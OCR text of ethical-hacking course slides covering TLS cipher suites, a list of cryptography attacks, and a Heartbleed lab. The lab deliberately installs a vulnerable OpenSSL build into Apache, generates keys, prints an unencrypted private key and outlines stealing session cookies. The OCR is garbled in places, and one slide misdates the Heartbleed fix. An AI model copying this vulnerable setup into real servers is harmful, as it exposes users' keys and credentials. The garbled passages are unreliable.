0x000013 | TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA LS DHE Ds8 3DES_EDE_CBC 168 | SHA
0%000014 | TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | TLS OHE RSA DES40_CBC 40 |sHA
0x000015 | TLS_DHE_RSA_WITH_DES_CBC_SHA LS DHE RSA DES CBC 56 | SHA
0%000016 | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA TS OHE RSA 3DES_EDE_CBC 168 | SHA
0x000047 | TLS_DH_Anon_EXPORT_WITH_RC4_40_MDS5 LS DH Anon RC4_40 40 |MD5
0%000018 | TLS_DH_Anon_WITH_RC4_128_lMDS TS oH Anon RCA_128 128 | MDS
0x000019 | TLS_DH_Anon_EXPORT_WITH_DES40_CBC_SHA | TLS DH Anon DES40_CBC 40 |SHA

research

tls-and-ssl-ci
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Cipher Suite Glossary

[ How SSL Works X ' & web application - What - X | [l How SSL Works X

3% IBM Knowledge Center - X ' TN SecretKeyExchange X // [} ManuakCiphers(1)- Ope X

&«

[¢] ‘ 8 https://wiki.openssl.org/index.php/Manual:Ciphers(1)

cipher suites using authenticated ephemeral DH key agreement.
ADH

anonymous DH cipher suites, note that this does not include anonymous Elliptic Curve DH (ECDH) cipher suites.
DH

cipher suites using DH, including anonymous DH. ephemeral DH and fixed DH
kECDHr, KECDHe, kECDH

cipher suites using fixed ECDH key agreement signed by CAs with RSA and ECDSA keys or either respectively.
kEECDH, kECDHE

cipher suites using ephemeral ECDH key agreement, including anonymous cipher suites,
ECDHE, EECDH

cipher suites using authenticated ephemeral ECDH key agreement.

AECDH

anonymous Elliptic Curve Diffie Hellman cipher suites
ECDH

cipher suites using ECOH key exchange. including anonymous, ephemeral and fixed ECDH
aDSS, DSS

cipher suites using DSS authentication. i e. the certificates carry DSS keys.
aDH

cipher suites effectively using DH authentication. i.e. the certificates carry DH keys.
aECDH

cipher suites i using ECDH authentication, i.e. the ifi carry ECDH keys.
aECDSA, ECDSA

cipher suites using ECDSA authentication. i.e. the certificates carry ECDSA keys.
TLSv1.2, TLSv1, SSLv3

TLS v1.2, TLS v1.0 or SSL v3.0 cipher suites respectively. Note: there are no ciphersuites specific to TLS v1.1
AES128, AES256, AES

cipher suites using 128 bit AES. 256 bit AES or either 128 or 256 bit AES.
AESGCM

AES in Galois Counter Mode (GCM): these ciphersuites are only supported in TLS v1.2,
CAMELLIA128, CAMELLIAZ56, CAMELLIA

cipher suites using 128 bit CAMELLIA, 256 bit CAMELLIA or either 128 or 256 bit CAMELLIA.
3DES

cipher suites using triple DES.
DES

cipher suites using DES (not triple DES).
RC4

cipher suites using RC4.
RC2

cipher suites using RC2.
IDEA

cipher suites using IDEA.
SEED

cipher suites using SEED.
MD5

hp/Manual:Ci
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Cryptography Attacks

Password cracking

Dictionary attacks

Brute force attacks

Hydra, John the Ripper, LOphtcrak and Ophcrack, Pwdump3v2
Illegal in the United States (you can crack your own forgotten
password)

Faster if you have the hashed password file (/etc/shadow or
Windows SAM database)

Mathematical attacks to exploit the algorithm
Man-in-the-middle attacks (false keys won't be verified by CA)
Replay attacks

Firesheep in a coffee shop

SSL/TLS vulnerabilities

Wildcard certificates

Browsers that fail to check revocation lists
Untrustworthy CA entries in browser

SSL stripping - downgrades HTTPS to HTTP
Implementation vulnerabilities (POODLE, TIME, BREACH,
CRIME, etc.)

OpenSSL library vulnerabilities (Heartbleed) Ve Wi/l do this

one tonight 181
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Heartbleed
Vulnerability
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W Heartbleed Vulnerability

Heartbleed is a serious vulnerability in the OpenSSL cryptographic
software library.

The bug was introduced with version 1.0.1 (December 2011) and fixed in
version 1.0.1g (March 2012).

OpenSSL implements the SSL/TLS encryption protocol used by many
websites and applications to secure Internet traffic.

It allows anyone on the Internet to read the memory of systems using a
vulnerable version of the OpenSSL library versions 1.0.1 though and
including 1.0.1f.

Attackers can get encryption keys, user names & passwords, the private
content itself, and system security settings.

The exploit goes after a bug in the implementation of heartbeat
extension (RFC6520) which results in a leak of memory contents.

183

http://heartbleed.com/
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"EH-Pod-05 Network"
10.76.xx.0/24

e

EH-Kali-xx EH-WinXP-xx

Victim
Attacker

185
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Heartbleed Testing Setup

On EH-WinXP-xx

1) Install WampServer

2) Configure SSL

3) Configure IP address to listen on

4) Configure root password for PhpMyAdmin

5) Install Damn Vulnerable Web App (DMVA)

6) Login to PhpMyAdmin at https://10.76.xx.201/myphpadmin

On EH-Kali-xx
1) Steal PhpMyAdmin login session cookies

On EH-WinXP-xx
1) Login to DVWA at https://10.76.xx.201/dvwa

On EH-Kali-xx
1) Get user and password from DMVA login session
186
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Credits

Infosec Heartbleed lab:

resources.infosecinstitute.com/lab-heartbleed-vulnerabilit

Installing Damn Vulnerable Web Application (DVWA):

www.effecthacking.com/2015/12/setup-dvwa-usin -windows.html

Metasploit Heartbleed exploit:

https://www.rapid7.com/db/modules/auxiliary/scanner/ssl/openssl heartbleed

187
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Install
WampServer

(EH-WinXP-xx)
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gst, 1659 ™

EH-WinXP-xx (restored to baseline snapshot)

Recycle Bin

e et

”~ 4
& t'\. :
Internet - -

Explorer

Hﬁagibleed

-

- Type the name of a program, folder, document, or
% Internet resource, and Windows will open it for you.

open: [ 11172.30.10.361depot | v/

lﬂ QK l[ Cancel ][ Browse... ]

Q)0 % s:47pM

189
Start > Run... > cmd > \\172.30.10.36\depot > OK button
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Y &
= File Edit View Favorites Tools Help

Internet

Explorer \B) '\.;) l’ /ﬁ Search [{ Folders v

L \1172.30.10.36\depot

File and Folder Tasks

2 Make a new folder

&) Publish this folder to the (= _
Web Cain and Abel

Other Places

i 172.30,10.36
4 My D 14

D L . Global Network Inventory

() Shared Documents Scanner

3 My Computer

&g My Netwark Places

Heartbleed

‘ ‘g start # depot on 172.30.10.36 3 )0 % 548 PM

190
Find and select the Heartbleed folder
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medium.php
From 'source' to 'source’

(- ]l Cancel I

10 Seconds Remaining

@i Rename this folder
@ Move this Folder
) Copy this folder

Publish this folder to
the Web

D E-mail this folder's files
¥ Delete this folder

Cain and Abel

<= s Global Metwork Inventory
eartbleed’ Scanner
sl Other Places

Heartbleed

|) Shared Documents
g My Computer

¥ depot on 172.30.10.36 R0 % sis0PM

191
Drag Heartbleed folder to your desktop
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7
/ File Edit View Favorites Tools Help
Internet

Explorer \)) Bacl \_,) t’. /.A) Search || Folders v

Address |[) C:\Documents and Settingsicis76 studentiDeskkopi\Heartbleed v ' Go
A Name ~ Size  Type
File and Folder Tasks 2 () Commands File Folder
[ Config_files File Folder
(C)credit File Folder
CDvwa File Folder
[C)openssl-1.0,1-i386-win32 File Folder
| READI 0KB Text Document
il @ wampserverz,2d-x32 25,394 KB Application

j Make a new folder

e Publish this Folder to
the Web

&l Share this Folder

Other Places

(@ Deskiop

() My Documents

i) Shared Documents

W My Computer
Heartbleed &g My Network Places

o fpessioery 2 ~
1y Start artble k)0 % 8:51pM

192
Open and run wampserver2.2d-x32
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Recycle Bin

P & Hearthlead
= Setup - WampServer 2

Internet
Explorer

WampServer

Powered by
Alter Way
The French
Open Source
Service Provider
A http:liwww.alterway.fr
Apache :2.2.21
MySQL : 5.5.20
PHP :

: 5.3.10
PHPMyAdmin : 3.4.10.1
SqlBuddy
XDebug

Welcome to the WampServer 2
Setup Wizard
This will install WampServer 2.2 on your computer,

1t is recommended that vou close all other applications befare
continuing.

Click Mext to continue, or Cancel to exit Setup.

Heartbleed

‘4 Start & Heartbleed

Next

193
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Internet “
Explorer R License Agreement

Please read the following important information before continuing.

Please read the following License Agreement. You must accept the terms of this
agreement before continuing with the installation.

¥ WampServer

by
Creator : Romain Bourdon
Maintainer [ UpgradefRoadmap ! Herve Leclerc - herve leclerc@alterway . fr

GMNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.

l (:)I accept the agreementl

(1 do not accept the agreement

@ Heartbleed Setup

®)0 ~ as3PM

194
Accept and Next
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Internet
Explorer

Heartbleed

‘4 Start

CIS 76 - Lesson 14

Select Destination Location

Where should WampServer 2 be installed?

u Setup will install WampServer 2 into the following Folder.

To continue, click Mext. If yvou would like to select a different folder, click Browse.

[ | [ Browse. ..

At least 216.0 MB of free disk space is required.

& Heartbleed

[ < Back [[ Mext > ][ Cancel ]

Setup

Take default folder and Next

®R)O % &54PM

195



CIS 76 - Lesson 14

Recycle Bin

’ e
v File Setup - WampServer 2

Internet i
Explorer ) Select Additional Tasks

Which additional tasks should be performed?

Select the additional tasks you would like Setup to perform while installing WampServer
2, then click Mext.

Additional icons:

E Create a Quick Launch icon
Create a Deskkop icon

Heartbleed

Next > ][ Cancel ]

& Heartbleed R0 % sis4pm

196
Check both options and Next
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P
/ File Setup - WampServer, 2

Internet —
Explarer ) Ready to Install
-~ Setup is now ready to begin installing WampServer 2 on your computer,

Addrd

Click Install to continue with the installation, or click Back if you want to review or
change any settings.

Destination location:
c:iwamp

Additional tasks:
Additional icons:
Create a Quick Launch icon
Create a Deskkop icon

[ < Back [ Install IL Cancel ]

‘s Start [ Heartbleed Setup &)0 % sisspM

197
Install
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Setup - WampServer 2

Internet ) ]
Explorer 2 Installing

Please wait while Setup installs WampServer 2 on your computer,

Extracting files. ..
c:iwamplappsiphpmyadmin3. 4. 10. 1\librariestimportiuploadiapc.php

(T

Heartbleed

;4 start & Heartbleed Setup Q}O % g:55PM

. 198
Installing
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-\
"

Internet
Explorer R Installing

Please wait while Setup installs WampServer 2 on your computer,

Extracting files. ..

2 Firefox has been detected on your computer. Would vou like to use it as the default
& browser with WampServer2?

I Yes l [ Mo

Heartbleed

‘4 Start @ Heartbleed ®&)0 % 557PM

199
Yes for Firefox as default
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Recycle Bin

=\
7,

Internet
Explorer R PHP mail parameters

Please specify the SMTP server and the adresse mail to be used by PHP when using
the Function mail{). If you are not sure, just leave the default values.

SMTP:
focaho-

Email:

tyou@yourdomain

Heartbleed

—
:’.’ start & Heartbleed Setup %= Windows Security Alert ’( )0 % 8:58 PM

200
Leave the default values
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Recycle Bin

P ™ Hearthleed
= Setup - WampServer 2
Internet
Eenlotey Completing the WampServer 2
. Setup Wizard

Setup has finished installing WampServer 2 on your computer,
The application may be launched by selecting the installed
icons,

WampServer

Powered by
Alter Way
The French
Open Source
Service Provider
A http:liwww.alterway.fr
Apache :2.2.21
MySQL : 5.5.20
PHP :

Click Finish to exit Setup.

Launch WampServer 2 now

\WampServer

Heartbleed - Finish ]

: 5.3.10
PHPMyAdmin : 3.4.10.1
SqlBuddy
XDebug

1 s Start & Heartbleed %= Windows Security Alert

L. 201
Finish
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—

Internet v
Explorer [ Bacl [ | ) ook

™= Windows Security Alert

= 1o help protect your computer, Windows Firewall has blocked
P/ some features of this program.

e Folder
= Folder
Name:  Apache HTTP Server [ Folder
xt Document
bplication

Do you want to keep blocking this program?

Publisher: Apache Software Foundation

[ Keep Blocking ] [ Unblack ] [ Ask Me Later

Other Pl wwindaws Firewall has blocked this program from accepting connections from the

) Internet or a network. If you recognize the program or trust the publisher, you can
@ Des§  unblock it. When should | unblock a program?

Heartbleed 0 My

‘4 start f % Heartbleed % curity Alert : % 9:00PM

202
If prompted, unblock Apache in the firewall
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est. 1859 %

[EH-WinXP]

(%] EH-WinXP-05 on 192.168.0.20

File View WM
mi> &8 & B @
2. b >

ca_setup

Start All Services

Stop All Services

Restart All Services

Put Online
& Heartbleed

To release cursor, press CTRL + ALT

Click the green icon in system tray and select localhost 203
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[EH-WinXP] http://localhost

File

Edit  Wiew History  Bookmarks

{3} WaMPSERYER Homepage

Tools  Help

+

= v”f | localhost - o IQ‘ Search : ﬁ B 2 3 @& =
fu\ The WAMPServer installation
) is successful if you can see
WampServer this webpage

‘ersion 2.2 Yersion Francaise

M Z Windows Explorer -

Server Configuration
Apache Yersion: 22721

PHP Yersion : 53,10

Loaded Extensions :  §kCore

Whcmath  Wecalendar e corm_dotnet
o ctype W date M creg o= filter
i fin W hash e icorw - json
W rrcrypt W SPL e ocibc o
W reflection Mecession Bestandard 3 mysqind
& tokenizer  Wezip W zlib e bl
W o W FOO W Phar W SirnplexvL
W el Wl W milreader e wmlwriter
W spachezhariliermbstring ik gd = rriysi)

o ctwampibinimysglim, ..

) WAMPSERVER Home... %)

Close the browser when finished

=3

9:54 AM

204
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Replace SSL with
vulnerable version

(EH-WinXP-xx)
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7.

v

Internet
‘Explarer

VampServer

Heartbleed

‘4 Start

File Edit View Favorites Tools Help

@ if I’ /:\ Search L‘t Folders -

" X A I

KN \
I -
J

u

Address |[3) C:\Documents and Settings!cis76 student\DeskkopiHeartbleed

v B

A Mame -
File and Folder Tasks R () Commands
() Config_files
(D)credit
CDvwWa

(2 Make a new folder

&) Publish this folder to
the Web

@ Share this folder openssl-1.0,1-i386-win32
_ |HE README

) wampserver2.2d-x32

Other Places

(@ Deskiop

[} My Documents
|) Shared Documents
o My Computer

&3 My Network Places

& Heartbleed

Size  Type
File Folder
File Folder
File Folder
File Folder
File Folder
0KB Text Document
25,394 KB Application

f</. © % 92:05PM

206

Find and open the vulnerable version of OpenSSL in the downloaded Heartbleed folder
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7
v File Edit View Favorites Tools Help
Internet

Explorer @Back - \\)) l’ pSearch ;‘t' Folders

Address |5 C:\Documents and Settingsicis76 student\Desktop\r; Thumbnails
| @ Tiles
HashInfo Tross

File and Folder Tasks & Text Docur
3KB ‘
j Make a new folder Details

Publish this folder to libeay32.dll
the Web 1.0.1.0

@ Share this folder Openssl Shared Library

openssl
Other Places

FWampServer [ Heartbleed OpenssL License
B My Documents Text Docurment

7KB
[ Shared Documents

- W My Computer ReadMe
Text Document

Heartbleed ‘g My Network Places 3KB

&) ©% 906pM

207
Select List view



= ‘ g “
Recycls Bin , - N ca.setup Gl ‘

[l =] =]

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\openssl-1.0.1-i386-win32

Tnternet eBack X \J ‘J /‘;) Search \L Folders v

Explorer

Address || C:\Documents and Settingsicis76 student|DesktopiHeartbleed\openssl-1.0.1-i386-win32 v | Go
3 ) g.l’;ij HashInfo
2 File and Folder Tasks & 15 ibeay32.di
Mozilla Firefox ~ Topenss!
Ej OpenSSL License
*‘@ ReadMe
@ssleaysz.dll

®ij Rename this file

{3y Move this file

(1) Copy this file

&) Publish this file to the
‘Web

(&) E-mail this file

EEQ

in

=

C:\wamp\bin\apache\Apache2.2.21\bin

Address | CriwampbiniapachelApache2.2.214bin V‘ Go

A Dicony N hittpd phpSts.dll

File and Folder Tasks Eab [ httxtzdbm Frotateloas
[Fabs (2] lbapr-1.dl %) ssleayaz.di

j Make a new folder \ApacheMonitor {ﬂ libapriconv-1.dll wintty
&3 Publish this folder to - (%) apr_dbd_odbe-1.dll - [%)ibaprutil-1.dil (%) 2lib1.di
W oo %) apr_ldap-1.dl 3] ibeay3z.di
g Share this folder ) dbmmanage %] ibhttpd.d

__Bhtcacheclean logresalve

PN ™Ihtdbm openss!

Other Places Fhtcigest }php
) Apache2.2.21 Fhtpasswd [ﬁjphpSnsapi.dll

u:] My Documents
= v

&% openssi-1.0 ) WAMPSERVER Home, . &) © 54y

208
Start > "My Computer"” and navigate to the Apache bin directory above. View as a list.
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avorites  Tools  Help _.zl

A [_'%j HashInfo
File and Folder Tasks A ~ %) libeay32.dl

; ™ openss! ]
[ thave toadlecd ) Opensst. License Copy these three files
™ Copy the selected £l Readie
D itg,';’; poian ) ssleay3z.dll
8 Publish the selected

File Edit WYiew Favorites Tools Help

C:\wamp\bin\apache\Apache2.2.21\bin

MWampServer Address

) C:\wampibiniapachelapachez.2.211bin ]

~ Ellibeay3z.d & ssleayaz.di
- File and Folder Tasks A’ [Fhtdigest @Iibhttpd.dll Fwintty

(3 Move the selected - Dhepassud Fiogresolve &) 2lib. il
ove the selecle: ! ommen
Heartbleed e N\ httpd

() Copy the selected ~ DChtextzdbm 3 php Paste ( and
items &) libapr-1.di &) phpSnsapi.di overwrite )
e Publish the selected L'_S]Iibapriconv-l s &) phpsts.dil
items to the Web E&]Iibaprutil-l il Brotatelogs t h em h ere

() E-mail the selected
items v (<

I,,’ start @ openssl-1.0,1-i386-wi... & bin

Copy libeay32.dll, openssl.exe, ssleay32.dll and overwrite the files in Apache bin folder

209
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Generate keys
and certificates

(EH-WinXP-xXx)
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gst, 1659 ™

[EH-WinXP]

—

Internet
Explorer

\.-'I.féfnpsér'-.fer'

= Type the name of a program, folder, document, or
2 Internet resource, and Windows will open it for you.

Open: | v |

-[ Cancel J[ Browse... J

) © % ssem

/I" start @ openssl-1.0.1-i386-wi... & bin

211
Start > Run... > cmd > OK button
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[EH-WinXP]

cd c:\
cd wamp\bin\apache\Apache2.2.21\bin
openssl genrsa -des3 -out server.key 1024

e CAWINDOWSAsystem32hcmd. exe

Microzoft Windows XP [Version 5.1.2608081
C(C>» Copyright 1785-2881 Microsoft Corp.

C:wDocuments and Settingsscis?h studentlicd cis

Civrod wampshinwapaches~Apache2.2.21%hin

C:swamp~hinsapache~Apache2.2.21~hin*openzz]l genrsza —dezd —out server.key
WARNING: can’t open config file: Ausp/localsssl sopenssl.cnt

Loading *screen’ into random state — done

Generating RSA private key. 1824 hit long modulns

e iz 65537 (Ax1868681>
Enter pass phrase for server.key:
Verifying — Enter pass phrase for server.key:

C:wwamp~hin~apache~ApacheZ.2.21~hin>

Generate a 1024 bit RSA private key and triple DES encrypt it using a
pass phrase (use funny Cabrillo) 212



[EH-WinXP]

C:\wamp\bin\apache\Apache2.2.21\bin>openssl req -new -x509 -nodes -shal
-days 365 -key server.key -out server.crt -config _
c:\wamp\bin\apache\Apache2.2.21\conf\openssl.cnf All on one line

e CAWINDOWS\system32\cmd.exe

C:swamp~hinsapachesApache2.2.21~hin>*openszs]l req —new —x5@? —nodes —shal —days 36"
o _RE{ seFuer.key —out server.crt —config c:iswampshinwapache~Apache2.2.21%conf*o
penz==l.cn

WHEMIMG: can't open config tile: Auspr-localrsssl openssl.cnt

Enter pass phrase for server.key:

Loading *screen’ into random state — done

You are about to he asked to enter information that will be incorporated

intoe wour certificate regquest.

I’hat you are about to enter is what is called a Distinguished Mame or a DM.
There are guite a few fields but wvou can leave some blank

For zome fields there will he a default value.

If vou enter *.°,. the field will bhe left hlank.

Country Hame <2 letter code> [AU]:
State or Province MHame (full name? [Some—Statel:

Locality Hame <eg,. city> [1:

Organization Mame <eg, company? [Internet Widgits Pty Ltdl:
Organizational Unit Mame {eg, section? []1:

Common Mame <eg, YOUR name>» [1:

Email Address [1:

C:swamps~binsapache“Apache2 .2 _21%hin>

Use the private key to generate a self-signed certificate containing the public key 213
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[EH-WinXP]

XCcopy server.key server.key.orig
f

del server.key

openssl rsa —-in server.key.orig -out server.key

e+ CAWINDOWSAsystem 3 2%cmd. exe

Ciswampshinsapaches~Apache2.2.21%hin)xcopy server.key server.kev.orig
Does server.kev.orig specify a file name

or directory name on the target

(F = file., D = directoryd? f

Ciserver.key

1 File<s>» copied

C:swamp~hinsapaches~fApache2.2.21~hin del szerver.key
C:syamps~hinsapache~ApacheZ .2 .21~hinjopenzs]l »za —in server.keyv.orig —out server.
: can't open config file: ~susrslocalsszl-opensszsl.cnf

Enter pass phrase for server.key.orig:
writing RSA kew

C:swampshinsapachesApache2 .2 . 21%bhin> Be careful because people with
physical access to the server
could copy the unencrypted
private key

Export private key without the encrypted wrapper so Apache can
use it without having to prompt for the pass phrase each time. 214



]

[EH-WinXP] openssl rsa -in

C.\wamg\oin\aga:he\Apache2.2.21\bin>openssl rsa -in server.key

WARNING: can't open config file: /usr/local/ssijCpemnssitcnt
writing RSA key
BEGIN RSA PRIVATE KEY

MIICXgIBAAKBgQCTHzw5awQUCBYz2gQJrH+DsWiALbl160QzwIwHONncBgjdnxDsC22
dnIsih7HaTogvAODgS1huSFOW1lr7KGFNepWhS6g05110zajBZywliOoVnQGL1+CU
BwdgMDP41g/CH9wwnQ1lZR22u/ZmUgqeGrrQVPHfkPj2zr/WSDSbUSTByOswIDAQAB
AOGBAJOVZ5/QTeT1vKFIBkkTGVrRAKRkZuT1C2t+gdnhKb6nSJCPMx4+RErW8rf5
EkOtBfPR9eErC6bFjeUpl00IjyDhbc00yCdgDjTjvaoy6BcTmPeMCC8nGO0uvnMgP
1uuwb3£D64nRgSb6g+bKRYVsirJSwGzagB6DB+T1sbGxuNKhAKEAOHO40siNpXgd
nn01J2z2hDzqV7qd77TVblc0P83Vrd8GkUSjCUAYFxXO6wtCicpLxAgFz7Lem8Aa
g5Ne9zGnIwIBAMksdA06/1i1mB3yBSytNHMXZMBItSUHXDTsMYh8IwrXFZL/Wi6Y8

XzmUa4xVgzUduOml rmBthotlAKNJ9o3qu~CQQC+OK+7 k4rWz cOoYIRWStVB-%—zKRY BO t—h server. key an d
GmRpAUg+8WTK40kvGHGSmRoFZb6nozb+whfuulgQ4qcvMbXFLV08onLUJYexAkAA .
59FR6e00Q+T+2YN+cv0kev]6IJrR8emIV3LVoXFg8BLpyXp3cTrNDCBb/17awnCQu server. key Or/g ha ve the
la8WQeRymafr5wTB57RRAKEAYQIkO8LgFVOM8eLBMNWX /NhD1yNNxrT1poDXyS6b .
t3boB6N1PHNGE388FNyjIZqTeuTryX6ziKMH3AZKATRlxg== [)fV\/é?tE? l(é?)/.
END RSA PRIVATE KEY
C:\wamp\bin\apache\Apache2.2.21\bin> On/y server. key. Ol‘lg IS
encrypted requiring a pass

[EH-WinXP] openssl rsa -in server.key.orig phrase.

C:\wamp\bin\apache\Apache2.2.21\bin>openssl rsa -in server.key.orig
WARNING: can't open config file: /usr/local/ssl/openssl.cnt

Enter pass phrase for server.key.orig:

writing RSA key

MIICXgIBAAKBgQCjzw5awQUCBYz2qQJrH+DsWiALbl60QzwIwHONncBgjdnxDsC22
dnIsih7HaTogvAODgS1huSFI9W1lr 7KGEFNepWhS6g05110zajBZywliOoVnQGL1+CU
BwdgMDP41g/CH9wwnQ1ZR22u/ZmUgqeGrrQVPHfkPj2zr /WSDSbUSTByOswIDAQAB
AOGBAJOVZ5/QTeT1vKFIBkkTGvrRAKRKZUT1C2t+gdnhKb6nSJCPMx4+RErW8rf5
EkOtBfPR9eErCobFjeUpl00IjyDhbc00yCdgDjTjvaoy6BcTmPeMCC8nGOuvnMgP
1uuwb3fD64nRgSb6g+bKRYVsirISwGzagB6DB+T1sbGxuNKhAKEAOHO40siNpXgd
nn01J2z2hDzqV7qgd77TVblc0P83Vrd8GkUSjCUAYFxX06wtCicpLxAgFz7Lem8Aa
g5Ne9zGnIwJBAMksdA06/11mB3yBSytNHMXZMBJIt5UHXDTsSMYh8IwrXFZL/Wi6
XzmUa4xVgzUdUOmlrmBOtgqot 1AKNI903uzECQQC+0K+7k4rWZcOoYIRWStB+zKRY
GmRpAUg+8WTK40kvGHGSmMROFZb6nozb+whfuulgQ4gqcvMbXFLV08onLUJYexAkAA
59FR6e0Q+T+ZYN+cvOkevi6IJrR8emIV3LVoXFg8BLpyXp3cTrNDCBb/17awnCQu
la8WQeRymafr5wTB57RRAKEAYQIkO8LgFVOM8eLBMNWX /NhD1yNNxrT1poDXyS6b
t£3boB6N1PHNGE388FNyjIZqTeul ryX6ziKMH3AZKAIRlxg==
END RSA PRIVATE KEY

215

C:\wamp\bin\apache\Apache2.2.21\bin>openssl rsa -in server.crt
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File Edit VYiew Favorites Tools Help

VIGO

A )b (include =] cHANGES Z] README

File and Folder Tasks 2/ I8 [ cgi-bin b [Z] msTaLL [Z] README-win32

_ — | )conf D)loags [Z] L1cEnsE =) wampserver.canf
@) Rename this folder D)error [ymanual £ noTICE [ sl |

iy Move this folder )htdocs Cymodules =] OPENSSL-NEWS

1) Copy this folder [Dicons [Z] apouT_apacHE (£ OPENSSL-README
@ Publish this folder ta

WWampServer

Heartbleed

———

ll.’ start & Apache2.2.2

cn CHWINDOWS\syste. ..

216
Create a new folder named ssl in the folder shown above
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File Edit View Favorites Tools Help

File and Folder Tasks

) Make a new folder

&) Publish this folder to
the Web

e Share this folder

~ 2] libeay32.dl &) ssleay32.dll
File and Folder Tasks & [T htdigest @Iibhttpd.dll P wintty

- = Fhtpasswd Flogresalve zlib1.dll

@ Move the selected N\, httpd [apenss! (=] server |

eartblee items M :
Azl LD IC Fhttxtzdbm Bphp =) server key. orig
opy the selected T g :
items r@ libapr-1.dl r@ phpSnsapi.dil =] server ke
&) Publish the selected (3libapricor-1.dl %] phpSts.di .
items ko the Web 2] libaprutil-1.di Frotatelogs 1 ) COpy these files

7] E-mail the selected
items e & 1l

ov CHWINDOWSsyste. .. | 342 PM

217
Copy the unencrypted private key and certificate to the new ssl folder
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[EHE-WinXP] openssl x509 -in server.crt -text -noout

C:\wamp\bin\apache\Apache2.2.21\bin>openssl x509 -in server.crt -text -noout
WARNING: can't open config file: /usr/local/ssl/openssl.cnt
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
dc:bd:d1:82:d5:5¢c:73:7d
Signature Algorithm: shalWithRSAEncryption
Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Validity
Not Before: Nov 28 05:27:46 2016 GMT
Not After : Nov 28 05:27:46 2017 GMT ..
Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd Examlnlng the

Subject Public Key Info:

Public Key Algorithm: rsaEncryption Certlﬁcate WhiCh
Public-Key: (1024 bit) haS the ,Dl’lvat'e key

Modulus:
00:a3:cf:0e:5a:cl:05:
el:ec:5a:20:0b:6f:5e:
la:a3:76:7c:43:b0:2d:
3a:20:bc:0d:03:81:2d:
61:4d:7a:95:al:4b:a8:
2c:25:88:ea:15:9d:01:
33:£8:d6:0f:c2:1f:dc:
99:94:a9:el:ab:ad:05:
64:83:49:p5:12:4c:1c:
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
EE:B6:BC:DE:68:D7:CD:36:FA:F6:F0:73:B8:47:C1:17:2D:99:21:21
X509v3 Authority Key Identifier:
keyid:EE:B6:BC:DE:68:D7:CD:36:FA:F6:F0:73:B8:47:C1:17:2D:99:21:21

X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: shalWithRSAEncryption

2b:1d:1c:61:9d:35:c4:8c:06:05:7c:£3:31:
47:bd:65:6a:c5:54:12:13:03:c6:e3:ea:db:
d7:a0:8f:c2:42:e5:54:68:53:ae:ac:5b:82:
f0:2b:d5:78:5e:07:£8:8a:68:a6:07:8b:31:
Sc:ee:6f:8l:ed:de:el:£3:24:d8:b8:cl:a4:
bl:73:a2:a3:78:5e:81:£9:bf:22:de:3d:ce:
4p:91:a22:36:70:13:22:b7:0e:5c:d0:a5:34:
f9:ac

C:\wamp\bin\apache\Apache2.2.21\bin>
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est. 1859 %

[EH-WinXP]

* & Config_files - [a]x]|

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files
8

n Address 5 C\Documents and Settingsicis76 studentiDeskkop\Heartbleed\Config_files
Ex _ »~ : config.inc.php

File and Folder Tasks % — (& httpd. conf |
~ |&| httpd-ssl.conf

&) phpmyadmin. conf 1) Copy this file

[ 7 @ Rename this file
1f1oz|ll iy Move this file
Hj Copy this file

- '_' Lo tn the — -1
Q e -
N & conf

\

-

File Edit WYiew Favorites

Tools Help

(ot C:\wamp\bin\apache\Apache2.2.21\conf

‘WampServer

Heartbleed ®fj Rename this file

Addresq ) CiwampibintapacheiApache2. 2,21 conf vl Go

A [ Diextra
hjonglnal

File and Folder Tasks A

G Move this file —httpd cont. bud 2) Paste (and overwrite)
Lhen oy flneox the file here
e Publish this file to the mime-tvnes
Web B openss|
() E-mail this file
i fil v

eletn
‘4 Start & Config_files & conf o CHWINDOWS syste. ., &) 3:48PM

219
Update the httpd.conf file with the updated one in the Heartbleed folder
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[EH-WinXP]

<snipped>

ServerRoot "c:/wamp/bin/apache/apache2.2.21"
<snipped>

Listen *:80

<snipped>

LoadModule ssl module modules/mod ssl.so
<snipped>

ServerName localhost:80

<snipped>

DocumentRoot "c:/wamp/www/"

<snipped>

<IfModule ssl module>
SSLRandomSeed startup builtin
#Include C:/wamp/bin/apache/Apache2.2.21/conf/extra/httpd-ssl.conf
Include conf/extra/httpd-ssl.conf
SSLRandomSeed connect builtin
</IfModule>

Excerpts from the updated httpd.conf file
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I3
C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

Address)| ) C:\Documents and Settingsicis76 student'\Desktop'l,Heartheed\,ConFig_files] v | Go

[ config.inc.php
-

Inl

File and Folder Tasks

@ Rename this file

[ Move this file 1) Copy this file

) Copy this file

Edit View Favorites Tools Help

C:\wamp\bin\apache\Apache2.2.21\conf\extra

Wanipsarier Address ¥ C:iwamp\bin'l.apachempachez.2.211conf1extra] v} Go

- @]} Rename this file
Heartbleed @ Move this file
) Copy this file

&) Publish this file to the
Web

a E-mail this file

# [ httpd-autoindex. conf [ httpd-ssl.conf]
File and Folder Tasks & httpd-dav.conf =) httpd-userdir.conf
- & httpd-default.conf httpd-vhosts.conf

httpd-info.conf
&) httpd-languages.conf

=) httpd-manual.conf 2) Paste (and

(= httpd-mpm. con overwrite) the file
httpd-multilang-errordoc.conf h ere

. s Start @ Config_files e CIWINDOWS)syste.., Ql 9:52 PM

221
Update the httpd-ssl.conf config file with the one in the Heartbleed folder
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[EH-WinXP]

<snipped>
Listen 10.76.5.201:443
<snipped>

DocumentRoot "c:/wamp/www"
ServerName localhost:443

<snipped>
SSLCertificateFile "C:/wamp/bin/apache/Apache2.2.21/ssl/server.crt"
<snipped>

SSLCertificateKeyFile "C:/wamp/bin/apache/Apache2.2.21/ssl/server.key"

<snipped>

Excerpts from the updated httpd-ssl.conf file for Pod 5
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est. 1859 %

[EH-WinXP]

) [ httpd-ssl - Notepad
W B B raia Wi el

#*
# when we also provide ssL we have to listen to the

# standard HTTP port (see above) and to the HTTPS port

#

